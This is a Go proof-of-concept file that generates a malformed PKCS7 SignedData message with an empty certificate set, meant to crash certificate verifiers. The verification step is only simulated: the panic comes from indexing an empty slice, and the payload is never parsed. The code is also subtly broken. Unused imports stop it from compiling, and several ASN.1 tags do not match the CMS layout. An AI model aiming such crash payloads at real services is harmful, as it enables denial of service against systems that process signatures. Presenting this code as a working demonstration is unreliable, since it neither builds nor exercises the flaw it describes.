// PoC Concept: Triggering the panic with an empty certificate set.
// This is a simplified Go test case demonstrating the vulnerability logic.
package main
import (
"bytes"
"encoding/asn1"
"fmt"
"math/big"
)
// Simulating the vulnerable behavior
func triggerPanic() {
// Simulating sd.GetCertificates() returning an empty slice
certs := []interface{}{}
// Vulnerable line: unconditional dereference
// This causes: panic: runtime error: index out of range
_ = certs[0]
}
// Generating a malformed CMS/PKCS7 message (Simplified ASN.1 structure)
func generateMalformedPKCS7() []byte {
// OID for PKCS7 SignedData
pkcs7OID := asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 7, 2}
// ContentInfo structure
type contentInfo struct {
ContentType asn1.ObjectIdentifier
Content asn1.RawValue `asn1:"optional,tag:0"`
}
// SignedData structure with empty Certificates
type signedData struct {
Version int
DigestAlgorithms []asn1.ObjectIdentifier `asn1:"implicit,tag:0"`
EncapContentInfo asn1.RawValue `asn1:"implicit,tag:0"`
Certificates []asn1.RawValue `asn1:"implicit,tag:0,optional"` // Empty
SignerInfos []asn1.RawValue `asn1:"implicit,tag:1"`
}
sd := signedData{
Version: 1,
DigestAlgorithms: []asn1.ObjectIdentifier{},
EncapContentInfo: asn1.RawValue{FullBytes: []byte{0x05, 0x00}}, // NULL
Certificates: []asn1.RawValue{}, // Empty Certificates
SignerInfos: []asn1.RawValue{},
}
sdBytes, _ := asn1.Marshal(sd)
ci := contentInfo{
ContentType: pkcs7OID,
Content: asn1.RawValue{Class: 2, Tag: 0, IsCompound: true, Bytes: sdBytes},
}
data, _ := asn1.Marshal(ci)
return data
}
func main() {
fmt.Println("Generating malformed PKCS7 data...")
data := generateMalformedPKCS7()
fmt.Printf("Payload length: %d bytes\n", len(data))
fmt.Println("Attempting to verify (simulated)...")
defer func() {
if r := recover(); r != nil {
fmt.Println("Panic caught (expected in vulnerable versions):", r)
}
}()
triggerPanic()
}